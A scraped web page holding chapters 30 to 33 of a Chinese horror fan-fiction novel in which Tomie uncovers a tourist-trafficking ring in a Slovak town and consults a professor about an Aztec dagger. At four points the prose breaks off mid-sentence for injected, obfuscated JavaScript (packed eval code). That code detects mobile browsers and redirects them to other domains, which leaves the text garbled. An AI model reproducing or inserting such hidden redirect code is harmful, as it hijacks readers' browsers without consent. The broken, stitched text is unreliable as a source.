l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544094|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 鬼使神差地,她还是收下了这两本相册,和胶卷一同带了回去。 月子将相册中自己觉得最好看的一张照片取出来,藏在了床头放着她毕业照的相框里。 搬家的那天,家里很忙顾不上,她便偷偷跑到了传闻中川上富江以前住过的那幢洋房附近。 听父母说,她和那个女孩关系最好的时候,甚至会在周末带着行李去她家住。 但即使站在老房子的门前,抬头看着那些灰扑扑的窗户,石青色的墙壁,她也依然什么都想不起来。 明明想不起来,但她的生活里,却处处都有那个女孩的痕迹。 “……为什么呢?” 为什么那么着急地离开? 为什么明明是自己最好的朋友,却在发生了失忆这种匪夷所思的事后连挽留一下都不做? 为什么,不回来看看她呢? 距离川上富江离开小镇已有一年时间,但这一年,泉泽月子却对这个女孩越来越感到好奇。 据说她曾经也是转学生,还是被古宅的老人领养的养女。 据说她刚转学到他们学校的时候,人又美丽又傲慢,并不是特别好相处的类型,甚至还会抢别人男朋友。 据说自从意外摔了一跤以后,她就失去记忆性格大变,还跟自己成为了朋友。 诸如此类,关于川上富江的传言不计其数,这其中甚至还会牵扯到自己。 尽是些饭后茶余之间的闲谈资本,其实她完全可以为了自己被卷入这样的风波而感到困扰或是生气,但—— “月子,一定会幸福的。” 那女孩在阳光下的笑容,早已深深刻在了月子的脑海中。 那句祝福发自真心。 一想到这个,很莫名的,一切烦躁,犹疑,焦虑的情感都会被安抚下去。她那颗空洞的心似乎也被稍微填满了一些,连虚无感都减轻了不少。 只是,偶尔,月子还是会感到遗憾。 自己失去记忆的那段时光,她们是怎么相处的?怎么变成朋友的?她的兴趣爱好是什么?为什么会知道自己想深耕摄影专业? 并非流言,或是从他人口中获知。 “……其实,我很想听你亲口讲讲。” 这段珍贵的记忆,她其实是想听富江自己告诉她的。 围墙之下忽然刮起一阵风,拂乱了女孩的短发,也吹迷了她的眼睛。 低头擦拭的瞬间,泉泽月子似乎听见了什么人带着笑意的声音。 “恭喜毕业呀。” 女孩一惊,泪眼朦胧地抬起头—— 眼前只有安静地注视着她的灌木丛,以及上面盛开的,美丽的红月季。 30. 第 30 章 斯洛伐克的小镇不同于繁华的东京,也不同于富江曾经生活的小城。 这里的树木很茂密,建筑多以砖石为主,硬要说的话,建筑风格倒是很像她以前住的老宅。 这里的天气也不同于南洋岛国,即使处于春夏交界的时候,气温也有些低。风一吹,本来人就不多的车站更显得萧索。 不过旅游小镇终归是旅游小镇,三个女孩带着行李,又都是异国样貌,不多时就有出租车司机找上了她们。 老司机虽然看着有点邋里邋遢,英语也说不标准,不过却非常热情好客。听说三个女孩是到小镇上旅游的,又是帮忙搬行李,在车上又是给他们建议,说哪里好玩的。 “哦你们要去那个旅馆,知道知道,那家旅馆很有名,环境也不错。” 行驶在颠簸的小路上,司机一边用带着浓重口音的英语和女孩们交流,一边把车开得横冲直撞。 “欢迎来到这里,祝愿你们度过一个美好的假期。” “谢谢,你是个很健谈的司机。” 面对他人的赞美和夸奖,富江照单全收,一脸微笑地坐在副驾驶,趁着还没到目的地前认真和司机交流着。 “请问您知道从我们的旅馆去费尔蒙特大道远吗?” “哦哦,那是市中心最繁华的一条路,不远的,可爱的小姐。” 司机打着方向盘,看向富江的方向,笑咧开了嘴,露出了有些发黄的牙齿。 “到旅馆了你们可以问那里的人要一份……嗯……该死的,那个词儿该怎么说来着?地图?导游,导游什么的。” “我想您是想说‘导游手册’和‘地形图’。” “对,没有的话直接让他们给你画个路线也可以。大家都很乐意为异国来的小姐帮忙。” 喜欢抽烟的司机开着车窗,虽然让车内残留的烟味散去了不少,但却让更多的,只有富江能闻到的诱人气味透了进来。 越是接近作为目的地的小镇,那种浓郁的,美味的,带有巨大恶意的负面情感就越为强烈。 这种超越了佐伯家的可怕程度,让富江开始对这座看上去甚至有些荒凉的,充满自然风光的小镇产生了强烈的好奇心。 虽然作为钢铁森林的东京也有数也数不尽的负面能量,但和这里的却截然不同。打个比方,大概就是宛如度数很低的鸡尾酒与酒精含量超过百分之五十的伏特加之间的区别。 “……诶呀,这可不行……” 女孩轻轻叹息着,如蚊呐一般的抱怨声被汽车的发动机以及行驶过颠簸道路时发出的杂音所掩盖。 一般活人的恶意和恐惧是达不到这个标准的。 这里死过很多人,很多很多。怀抱着恐惧、痛苦,走向生命的尽头,只有这样才能爆发出如此纯粹的负面能量。 至于富江为什么叹气。 她甚至还没品尝到这份庞大的负面情感,只是闻了闻味道,就已经被醺得有些飘飘然,饥饿感也变得十分强烈。 有了佐伯家的前车之鉴,女孩对自己的自控能力是有些不自信的。 毕竟这次要是又失控,可没有月子再把她拉出来一次。 但富江又有点小小的期待,毕竟若是自己真的失控了,特斯卡特利波卡又会怎么样呢? 这次还会出手干预吗?还是干脆利落地杀死她呢? 一想到这个,她又变得有些期待,那种奇妙的忧愁感变轻了不少。 迎着风,看着窗外的树影,女孩不自觉地笑了起来。 长得不怎么样人却很好的司机并没有骗她们,女孩们入住的旅馆从外观上看就很大。 搬行李的时候,门口来来往往的也都是些穿着外套,背着旅行包的异国游客。 不过即使是这样,三个黑发黑眼的亚裔女孩也是很扎眼的存在。 特别是富江。 带着行李走入旅馆大堂的时候,原本有些吵闹的大堂忽然安静了下来。 所有人的目光不约而同地,聚集在了这名女孩的脸上。 她有着一头乌木般、笔直的泛着光泽的秀发,嘴唇上的血色更衬得细腻的肌肤,在阳光下白得像是新雪。一张巴掌大的小脸上,细细的柳眉与杏眼让女孩显得柔弱而毫无攻击性。但眼角下的那一颗泪痣,却又给她有些幼态的美貌增添了一丝属于成人的“魅惑”。 在进门的瞬间同伴成为了被瞩目的焦点,虽然已经做好了心理准备,加奈和小雪却还是被这阵仗吓到了。 而富江,她从来不在意他人的目光,已经面色如常地走到了前台,向工作人员打招呼。 为三位女孩办理入住手续的,是一位身材高挑的本体女孩,英语比载她们来的司机好多了。 不过对方向她们传达的信息听上去可就没那么美好了。 “我们这里的住房都是共享的,所以你们很可能会与其他陌生人共用一间屋子。” 她的话让富江微微挑了挑眉:“您是说三个人住一间屋子住不满?” “当然。”说这话的时候,金发女孩正上下打量着富江,可能是没料到她的英文会这么流畅。“一间屋子差不多能住五到六个人左右,不过放心,你们的卧室都是分开的。” 富江微微撅起嘴:“真的不能三人住一间屋子么?” 说实话,换个人说这句话,态度再差一点就看上去像是找茬了。不过她长得嫩,声音甜丝丝的,又可爱,所以反而看上去像是在跟对面撒娇似的。 店员愣了一下,随即冷下脸,口气倒是一如既往地温和:“我想恐怕不行,这位小姐。”说完,她看着富江黑珍珠似的瞳仁,顿了顿,又补充道:“或者你愿意多负担点房费,我也可以去和管理层沟通。” 黑发女孩的脸上绽放出了笑容。 无视大堂发出的阵阵骚动,她点了点头:“好啊,没问题。” “嘿富江,这样太亏了。” 在金发女人进屋去和管理人沟通的时候,加奈和小雪凑到了柜台前。 “他们摆明了就是想让你多付钱,多几个人费用也不算低了,还不如去城里找个更好的。” 当初看上这家旅馆完全是因为听介绍她们来这里玩的人说这家便宜,环境也不错。虽然有混住的风险,但加奈和小雪是经常在国外旅游的背包客,早就习惯了。 这时候两个女孩才后知后觉地意识到,她们习惯了不代表第一次出来旅游的富江也会习惯。 “因为我想和加奈还有小雪待在一起玩。”富江垂下眼帘,“旅游就是要人多才开心啊……是不是给你们添麻烦了?” 这话说得让面前的二人尴尬地互相对视了一眼,同时又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573734|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点小愧疚:“不不不,完全没有!” 富江张开嘴,正想继续说些什么,忽然又停了下来。 同时,三个女孩身后,之前离开的女人带着一名中年男性回到了旅馆的前台。 看到来人,富江脸上的笑容淡了几分。 “我带了管理人来。”金发女人没注意到她的神情变化,向三人介绍道。“这位小姐,你很幸运,最近虽然快到旅游高峰期了,客人还不是很多。” 也就是说,她的请求获得了店家的许可。 “不过为了防止之后出现什么纠纷,还请你一次性付清这几天的费用,而且是现金。” “什么?”女人的说法让加奈有些惊讶。“现金?这……” 然而还没等她提出质疑,身为当事人的富江已经点头:“好啊。”说着,直接从随身携带的包里掏出了好几张大面额的当地货币。 “这些,够了吗?” 金发女人和中年人管理层互相对视了一眼,看向富江的眼神有些复杂:“足够了。” 在女人负责登记办理入住,顺便给富江找零的时候,那名自称是旅馆管理人员的男性走出了柜台,友好地向几人伸出了手:“欢迎入住我们的旅馆,亲爱的小姐们。” 加奈和小雪正在办理入住,男人的面前只有富江一人闲着,他想和谁握手不言而喻。 女孩笑了笑,回握住了他的手:“也谢谢您能答应我有些无礼的要求。” 与同行女孩们柔嫩的手不同,管理者的手粗糙而有力,指间满是厚厚的老茧。 在他的手腕内侧,纹着一枚黑色的狗头。 似乎是注意到了富江的视线,男人虚虚一握便松开了手,顺便还将有纹身的一面转了过去。 他没再多说什么,和金发的女前台目送着三名女孩离开了大堂。 女孩们的房间比想象中的要大,加奈和小雪一进屋就很高兴,将随身携带的行李放进了各自的房间。 而富江,她把小行李箱随便往窗边一靠,看着窗外的景色,开始唉声叹气起来。 “……唉……” “怎么了富江,入住办成功了不应该高兴吗?”小雪注意到了女孩的忧愁,“哦如果是担忧现金的话,市中心应该有银行,或者先用我们的钱也可以。” “不不,不是这样的,小雪。” 窗外,那名刚与她们交谈过的管理人员正在草地上,和其他两个陌生的健硕男子说话,言语间还抬头,似乎是朝她们这间屋子的窗户看了一眼。 “我是肚子饿了。你知道的,肚子太饿也会影响心情。” 而造成这一切的罪魁祸首不是别人,正是刚才那名和她交谈的酒店管理。 他的身上,有着浓重的,几乎实体化了的,漆黑的恶意。 其实从她们进入这家旅馆开始,遇到的工作人员,包括那名态度很好的金发女前台,身上多少都有些针对游客的恶意和负面能量。 但……那个男人不同。 如果说其他人是从犯,那么他,毫无疑问地就是主谋。 而现在,旅馆外的草坪上,这漆黑的恶意正在不断汇集,在富江眼中,它甚至已经遮蔽了阳光下原本宜人的风景。 美食就在嘴边,她却不能尽情享用。 怎么能不让人沮丧呢? 31. 第 31 章 用完了晚饭,拒绝了同行人一同去逛酒吧的邀请,富江离开了热闹的小店,重新回到了旅馆中。 与她们来时所见的,有些荒凉的场景不同,斯洛伐克的这个小镇住民其实不少。白天这些人三三两两地行走在街道上看上去还有些萧条。谁知到了晚上,他们就好像变了样似的,所有人都聚集在了酒馆中,和远道而来的游客们一同喝着酒,笑闹着。 而旅馆也就像是小镇的一个缩影,白日看着安稳祥和,到了夜里,那些隐藏在阴影中的负面能量,嫉妒、欲///望、恶意便开始蠢蠢欲动地从阴影中不断攀附而出。 大堂中的旅客们三三两两地聚在一起,男人和女人亲密地手挽着手,用或熟练或生疏的英语交流着。 富江没有停留,顺着大堂的通路,径直朝自己房间的方向走去。 而在阴影中,那些原本潜藏在黑影中,寻常人看不见的黑红色的软泥们也动了起来。 泥沿着富江行走的路线,源源不断地从阴影中蔓延而出,宛如溢出的积水,悄无声息地在地面、墙壁上铺开。下一秒,那些坚硬的石面就化作了海绵,无声无息地将泥吸收了进去。 品尝到美味的那一刻,饥饿感得到了满足,富江脸上的笑意变得更深了。 刚才回旅馆的路上她就察觉到了。 有人在跟踪她。 是几个穿着很普通,但身材却很魁梧的本地青年。 他们一边从各个路口盯着富江的行动,偶尔还会用本国语言相互交流着。他们说的话,和旅馆里那些与远道而来的男游客们调情的女人之间的对话差不多。 “高品质的目标。” “迄今为止等级最高的商品。” “喜欢的客人一定不少,能卖个好价钱。” 听上去,包括富江在内,所有来这个地方旅游的游客,似乎都变成了可以被随意估价的商品。 至于成功销售出去的商品会发生什么事—— “……诶呀诶呀。”回到房间,想通了其中关窍的女孩子发出了小小的感慨。“还真是一个有趣的地方。” 怀着发现了新玩具的快乐心情,富江收拾了一下行李,准备好明日拜访时要带的东西,便躺到了床上开始学习今天在外面获取捕捉到的信息。 几小时后,耳边传来的响动让富江睁开了眼睛。 门外响起了不止一人的脚步声。 似乎是因为夜深了,这些人的步子迈得很轻,没有惊扰到各屋的住户。 但富江却知道,他们并非晚归的旅客,也并非夜间巡视旅馆的工作人员。 攀附在走廊里的黑泥在此刻化作了帮她接收外界一切信息的接收器,富江可以清晰地看到,走廊里的那些人里,赫然就有白日跟踪自己的本地青年! 不过,这些人今日的目标显然不是她。即使经过了她所在的房间,几人也只是眼神交流了一下,确认屋子里面有人后就前往另一间屋子。 因为同行人中有旅馆的工作人员,他们打开房门甚至不用撬锁或者惊动屋里的住客,直接用备用钥匙就行。 富江安静地看着这群人走进一间屋子,几分钟后,将两名沉睡着的住客抬了出来,熟练地将他放到了袋子里,扛进了员工通道里。 按理说这么大动静,被搬运的游客早就该醒了,但他们却像是昏死一般地沉睡着,直到被抬走都无知无觉。 至于其他房间的住户…… 隔着厚重的木门,女孩听到了人熟睡时的呼噜声,肢体的摩擦声,男男女女的调笑甚至夹杂着喘息的呻///吟。 所有人都沉浸在属于自己的梦乡或是温柔乡中,完全没注意今夜,旅馆里的两名旅客就这么被带走了。 如果小泉凌也在这,她一定会将小镇上如此有趣的逸闻分享给她那位很有常识的叔叔,顺便向对方讨教一下现在该怎么做。可惜的是,如今富江远在东欧,可能是因为距离太远,外加自身力量尚且不足。她无法通过精神感应联系上已经被她注入过黑泥的小泉凌。 不能和身边的家人分享趣事多少还是有点遗憾的。 不过—— “嗯……虽然说是被下药了,但来这里玩的人未免也太没警惕心了一点吧?” 女孩撅起嘴,一边说着,一边坐起身,看向了不知何时出现在窗边的,白裙黑发的女人。 “山村小姐,你觉得呢?” “……这里死过很多人。” 听到女人开口,女孩的眼睛都亮了起来:“啊,今天决定跟我说话了吗?” 山村贞子没有回应富江,而是继续自顾自道:“人的恶意是会被放大的。在这里,连怨恨都会恐惧那股恶意。” 话音刚落,白裙的女人便化作一阵烟雾,消失在了窗前。 她是自己离开的。 此刻出现在旅馆房内的,正是一年前因为诅咒录影带,被富江吞噬的,化作怨灵的女人。 至于为什么曾经守在小屋内闭门不出的她会出现在这,还要从富江失去了月子之后说起。 恢复神志之后,富江发现山村贞子并未因为自己的暴动而消失,甚至在她无暇自顾的时候出手帮她压制住了想趁机逃跑的川上富江。 从那之后,她就会时不时去找山村贞子聊天。 当然,大部分时候都是单方面的。 就比如刚才。对方话说的有些没头没尾,但富江却听懂了。 活人的恶意过于庞大,大到充满怨念和憎恨的灵魂也被彻底压制。所以这里平时平静又祥和,死了再多的人,也不会出现所谓的“恶灵作祟”。 虽然不知道山村贞子为什么每次话都这么少,不过这样也不错,她家姐姐虽然会回应她,但态度一直都很差。 特别是她和小泉凌住在一起之后,她那位姐姐已经可以说得上是极端愤怒到癫狂了。 对此,富江也理解。 毕竟凌叔叔对姐姐余恨未消,而姐姐虽然有着不死的体质,作为曾经的人类,肯定也没法接受和一个几次把自己戳得稀巴烂的男人同居啊对吧? 嗯,一定是这样的。 像是发现了什么新大陆一般,女孩带着雀跃的心情,等到了日出。 这晚,前往酒吧狂欢的同行人并未归来。 一晚上没回来只有两种可能,要么加奈与小雪已经被抓旅客的那群人带走了,要么她们也是昨晚沉浸在了温柔乡中的旅客之一。 富江有自己的行程安排要做,也没等她们两人回来,一大早便从前台拿了小镇的地图,前往了昨天已经去过的镇中心。 她要找的人就在那里。 费尔蒙特大道是这座小镇上最繁华,最热闹,治安最好的一条街。 按照老师所给的地址,富江敲响了街道最西侧,一幢五层小楼的大门。 来应门的是一位穿着打扮很朴素,头发花白的老太太。 “哦,你好?” 看到富江的瞬间,老人的眼中闪过毫无掩饰的惊艳之色,紧接着便用英语和她打招呼。 “请问你有什么需要吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599858|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你好,夫人。” 富江微微扬起头,清晨的阳光洒在她的脸上,显得皮肤像是剥了壳的鸡蛋一般。 “我是来找基斯卡教授的。” “哦天呐,莫非你就是盐田的学生?”老妇人露出了惊讶的神情,紧接着笑了起来。“真是位美丽的女孩,米哈尔看到一定会大吃一惊的。” 她口中的“米哈尔”,便是富江在寻找的教授,在伦敦大学以研究美洲民俗神话而为众人所知的“米哈尔·基斯卡”。 当年,她的大学导师盐田教授还是个在伦敦留学的愣头青时,有幸结识了这样一位出身东欧却醉心与异国大陆民俗文化的古怪青年米哈尔·基斯卡。 他出身东欧,一开始的研究范畴也是欧洲民俗神话考,结果在某个平淡的下午,前往博物馆的他因为一座充满异域风情的石雕,对神秘的美洲大陆产生了浓厚的兴趣,从而一发不可收拾。 总之这么多年磕磕绊绊下来,他如今已经是学术界知名的“美洲文化通”了。 另外,比起丰富的知识库,这位老者的暴脾气倒是在学术界更家喻户晓些。 不过他脾气不好,朋友倒不少,就比如在东京也已经功成名就的盐田。这么多年下来,二人虽然相隔很远,联系却一直没断过。 “来的路上怎么样?有没有遇到什么麻烦?” 将富江带进屋后,自称苏珊娜的老妇人很热情地让女孩坐在了客厅的沙发上。 “没有的苏珊娜夫人,这座小镇的人很友善。”富江一边说,一边接过了老人倒的热茶。“因为游客多的关系,用英语交流也没什么困难。” “哦,哦是这样吗?那就好……” “来,吃块饼干吧可爱的孩子,这是我今早才烤好的。” 老妇人并未就着刚才的话题继续,而是热情地端上了自己刚做好的点心。 “亲爱的,你很守时,甚至到的有点早了。米哈尔还在撰写书稿,我们一般不会在这时候打扰他,不过放心,到时间他就会从书房出来的。” 苏珊娜是一位很健谈的老妇人。作为基斯卡教授的妻子,她不仅会英语,还认识曾经在伦敦留学的盐田教授,早年甚至和丈夫一同去过日本。 和这么一位身上毫无恶意,味道闻起来像是阳光晒过的被子一般暖呼呼的老者聊天,也让富江的心情变得愉快了起来。 有那么几个瞬间,她甚至回忆起了与月子一同度过的快乐时光。 “嘿,嘿!苏珊娜!你把我的研究资料收拾到哪去了?” 两人聊得正开心的时候,外面传来了一个苍老但听上去有些烦躁的男声。 几秒钟后,一个戴着厚眼镜,眉毛胡子都白了的光头老者气势汹汹地走进了会客室。 他本来还正在抱怨自己的研究资料被放回书架上反而找不到了,抬眼看到会客室里坐着两个人,剩下的话便猛然收了回去。 “哦米哈尔,你说的那份资料我可没碰。回房间找找吧,说不定被你压在了别的书下面。” 老妇人耸耸肩,紧接着站起身来到富江身边,亲昵地搂住她的肩膀。 “倒是你,忘记今天有人要来拜访了吗?这孩子已经等了有一会儿了。” “你好,基斯卡教授。” 老人站在门口扶了扶眼镜,眯起眼:“……你就是盐田的学生?” “是的。” 富江站起身,在苏珊娜的带领下来到老人面前,伸出右手。 “很高兴见到你,教授。” 32. 第 32 章 之前也说过,比起学术成就,基斯卡教授的古怪脾气可能还要更为人知一些。 所以当富江伸出右手,这位胡子花白脑袋锃亮的老者只是垂下眼睛扫视了几秒,便从女孩的侧身走向了餐桌。 “听盐田说你对中美洲的民俗文化,甚至神话故事很感兴趣?那你当初为什么选盐田的专业?他又不是教这个的。” 这问题完全和富江今天来找他没任何关系,但老人就是很固执地问了。 “一码归一码,教授。”不明白对方为什么这么问,富江诚实地回答道。“对中美洲的民俗文化感兴趣并不影响我在大学学习盐田教授的课程。更何况,提出来找您这个建议的是教授他自己,并不是我。” “哼……!” 老头也没多说什么,冷着脸哼一声,坐在了桌前,开始给自己倒茶。 “说说吧,你对它感兴趣的原因是什么?” 美洲民俗文化是个冷门的学科,在高等学府中的他们尚且只能接触到一些皮毛。即使学术地位高如米哈尔·基斯卡,也需要不断前往当地进行实地考察。 而日本,是一个距离美洲大陆十分遥远的,亚洲的岛国。 若是盐田那种留过学,拥有丰富学术知识的教授还可以理解,一个刚上大学,仅仅是英文比较流利的女孩,又是因何种契机接触到这些东西的? “好吧……其实是因为一把黑曜石的匕首。” 老教授握着茶杯的手一顿:“匕首?” 富江顺从地打开自己随身携带的背包,里面除了盐田教授的介绍信,一些生活必需品之外,就只有一个被厚厚的牛皮纸包裹住的长条状物品。 女孩将纸摊开,把物品放在了桌上。 里面正是特斯卡特利波卡留下来的那把黑曜石匕首。 见到这把漆黑的武器的瞬间,老人的眼神亮了起来。 他连热茶都来不及喝了,把杯子搁在一边,站起身,开始仔细端详匕首。 将老人有些冒失的动作收入眼底,富江缓慢地继续解释着:“原本我以为这是日本古代的东西,毕竟黑曜石并不稀奇。但——” “刀柄的花纹和你们那边的古代文化没有任何关系。” “……是的。” “当然,当然没有任何关系。”虽然在和富江对话,但老人的视线却已经彻底黏在了匕首上。“这是阿兹特克文明留下的痕迹。” 说完,顾不上屋内的其他人,老者站起身,一边扶着眼镜,一边冲到了墙边的柜子旁,从里面翻找出了一副白手套。 “是的。” 基斯卡教授正戴着手套呢,闻言抬脸第一次正眼看了眼前的亚裔女孩一下:“你知道阿兹特克?” 富江从善如流:“美洲有三大古代文明,玛雅,印加,以及阿兹特克。不过阿兹特克文明已经算是中美洲最后一个古代文明了。” “哦,你还知道不少。” “学校图书馆里还是有两本相关书籍的。”女孩耸耸肩,“不过只是译本,作成年代也很早,所以日语译得很晦涩,还有很多错误,我最后只能借了原书。” 原书虽然介绍了阿兹特克文明的神话故事,却也很泛泛,仅仅只是介绍了神明之间的故事,和创世神话。 而在富江说明的时候,老人也已经小心翼翼地捧起匕首,开始反复打量细节:“嗯……确实是黑曜石打造的,简朴,坚硬,但——” 说着,他握住短刃,轻而易举地用它在划开了铺在桌上的牛皮纸。 “非常锋利。你有在保养它?” “它确实很锋利。” 锋利到能划开血肉,刺入胸口,最后剖出血肉与心脏。 富江脸上的笑容淡了一些。 “应该是前任主人在保养他。” 老人看够了匕首,才抬起头:“你是怎么得到这把匕首的?” 富江沉默地看着基斯卡教授,然后在对方原本不多的耐心快要告罄的时候,缓缓道:“一个金发男人,将这把匕首留给了我。他自称特斯卡特利波卡。” 屋内安静了几秒钟。 “既然你已经了解过阿兹特克神话,应该认识这个名字吧?” “是的,这是一位神明的名字。” 特斯卡特利波卡,是阿兹特克神话中一位伟大神明的名讳。他是阿兹特克神话中的最重要神祇之一,统辖阿兹特克传说的第一太阳。 “他是至上的神灵力、人类命运的操弄者。”富江读出了书中形容这位神祇的句子。“他代表着飓风,夜风,夜空,土地,北方,秘术,美丽,领导力,战争,争吵,所有人际冲突,以及黑曜石和占卜。” “是啊。”老人看着桌上的匕首,用手指关节敲着桌面:“所以,将匕首留给你的,是一个胆大包天的家伙。又或者……不,这个话题一会儿再说。” 他用手推了推眼镜,从桌前站起身,严肃地看着面前黑色长发的亚裔女孩:“你就是为了这个来找我的?” 熟悉这位老先生的人大概能看出来,这是他生气的前兆。 “那个男人夺走了我重要的东西。” 眼前闪过泉泽月子胸口破开一个大洞,失去心脏后的尸体。富江垂下眼帘,甜美的声音也变得有些喑哑。 “他像一阵风一样出现又消失,只留下了匕首和这个名字,很明显是想让我从这个方向进行调查。” 不等老者回答,她又接着道:“我知道这件事听起来很匪夷所思,但教授,这对我来说很重要。” 说这话的时候,女孩脸上的笑容消失了。 大部分时候,富江的脸上都是挂着笑容的,这样让美丽的她看上去更加温柔,也更加平易近人,甚至有些楚楚可怜的无辜感。 但当“笑”这一动作从她脸上消失后,虽然那份美丽犹在,周身那种显得很容易亲近的感觉却消失了。 若此时细细观察这位美丽的姑娘,甚至可能会在她身上感受到些许冷意。尤其那双漆黑的眼珠子一眨不眨地看着面前的某人时,那种阴森的感觉也就更明显了。 “我想了解更多关于这位神祇和阿兹特克的故事。是的,我知道这对人可能没有用,但……我就是想知道。” 并没有用谎言去搪塞,也不打算用模棱两可的说法去接近对方。因为在见到这位坏脾气的老人的那一刻,富江就察觉到了对方在不好相处的表象下潜藏的本质。 他和苏珊娜太太二人都和月子一样,在女孩的眼中,就像是玻璃展示柜内精美又闪着光芒的宝石。 虽然不能让人食指大动,却用另一种美牢牢抓住了她的眼睛。 面对如此纯粹而真实的美丽,富江下意识的,吐露出了真实的理由。 老人沉默了下来,半晌—— “……这里可没什么福尔摩斯。” 他咕哝着站起身,来到会客室的书架旁。 “我对你了解这些知识的原因,和你之后想干什么都不感兴趣,也不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618551|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这个领域上对你进行什么指导。” 有些干瘦的手指游走在书籍之间,最后,抽出了几本很厚重的硬皮装订本,并将它们一股脑地丢在了桌子上。 “想要了解阿兹特克和特斯卡特利波卡,自己看这些书吧。” 说完,基斯卡教授拄着拐杖,离开了会客室。没过一会儿,富江听见老人呼唤自己妻子的声音。 “苏珊娜,苏珊娜!” “怎么了米哈尔?” “我要去书房找点东西,你给我们的客人找个能装东西的箱子。” 老太太一脸疑惑地走进会客室,随即睁大眼睛:“哦天呐!米哈尔,你在做什么?川上小姐是我们的客人,可不是你的学生!” 也不怪老太太这么说,基斯卡教授丢给富江的几本书加起来,厚度已经快赶超广辞苑大字典了。 “她不可能今天看完这些!” “谁让她今天看完了?那些书是我不要的旧书,让她给我搬走罢了!有空和我吵架,你不如给那姑娘找个行李箱吧。” 老头用拐杖把地板敲得咚咚直响,而坐在会客室的富江则低下头,有些忍俊不禁。 基斯卡教授进书房并不是因为他准备赶客了。 而是因为,他送给富江的书虽然系统性地整理了阿兹特克神话,理论却有些古早。所以老人跑去书房,把自己当年写的论文与一些实地考察的笔记都拿了出来,一并送给了她。 苏珊娜小姐从阁楼翻出了一个陈旧的,带着轮子的小行李箱,将它们都装了进去。 离开基斯卡夫妇家的时候,富江发自肺腑地对面前还在吹胡子瞪眼的光头老先生道了一句谢谢。 “真的很感谢你,教授。” “哼,我只是丢掉了一些自己现在不用的东西而已。”老人叼着烟斗,随意地挥了一下手。“好了,没什么事你就赶紧回去吧,别在这烦我了。” “少说两句难听话吧米哈尔,就是因为这样你的学生才会这么怕你。” 苏珊娜夫人一边训斥自己丈夫,一边对富江笑眯眯地戳穿了他。 “亲爱的,很感激你远道而来,东欧这两年并不太平。我们这小镇虽然偏,但也不怎么安全,记得早点回住的地方,晚上不要随便出门。” 唔,虽然她很感谢对方如此关心自己的人身安全。 但若是现在入住的旅馆……就算晚上不出门,估计也是不安全的。 不过女孩并不担心,毕竟—— 在目的达成的情况下还能饱餐一顿,岂不是一件锦上添花的喜事吗? “啊对了,教授。” “怎么了?” 富江眨了眨眼:“之前在会客室,您说那位将匕首留给我的,自称“特斯卡特利波卡”的青年是个胆大包天的家伙,后边您的话没有说完。” 老人取下烟斗,咂咂嘴:“哦,是这件事……好吧,看来你以前接触的资料上并没有记载这个东西。” “……什么?” “笼统地讲,阿兹特克人会在每年的祭典上选出一位祭品,担任特斯卡特利波卡在人间的化身。剩下的内容你自己看书吧,是与他们活人祭祀的习俗有关的。总之,若那家伙并不是什么胆大包天冒充神明的狂徒——” 一阵风吹过,道路两旁的树木发出了沙沙声,近乎掩盖了教授所说的后半句话。 但富江却听得清清楚楚。 那名男子,就是特斯卡特利波卡在人间的“化身”。 33. 第 33 章 告别基斯卡夫妇之后,富江一直在思考临走前对方说的那句话。 “特斯卡特利波卡在人间的化身。” 确实,当初在游乐园,得知男人的姓名后,她对他的感知就变得明显了起来。 难怪即使变强了,只要对方想富江也找不到他的踪迹,也难怪他对富江,对怨灵都很淡然。 想到这,富江停下脚步,在街道中央抬起了头。 今天天气很好,明媚的太阳挂在蓝天上,温热的阳光也驱散了东欧小镇的寒冷。 非要说美中不足的话,也就只有依然围绕在这小镇空中的,浓重的恶意了。 “……原来这个世界上真的有神明啊?” 富江对于神明的了解,仅仅来自于书籍和影视资料。在她的认知里,怨灵和书中描绘的神明,是截然不同的两种生物。 那么,问题来了。 特斯卡特利波卡是“神明”,山村贞子、佐伯家的那些人是所谓的“怨灵”,那么她是什么? 不是没思考过,但以往富江的身边有月子,有养父,有虽然带着恶意却依然照顾着她的家人,与这些人在一起的时候,即使想起这个问题,没过几秒也会被富江抛之脑后。 因为她不在意。 但如今,对特斯卡特利波卡的好奇心产生了连锁反应。 她开始认真思考起这个问题来了。 又或者,这也是那位冠以神明之名讳的青年的目的之一呢? 阳光变得有些刺眼,富江眯起眼,目光随意地扫向街道,一间咖啡馆映入眼帘。 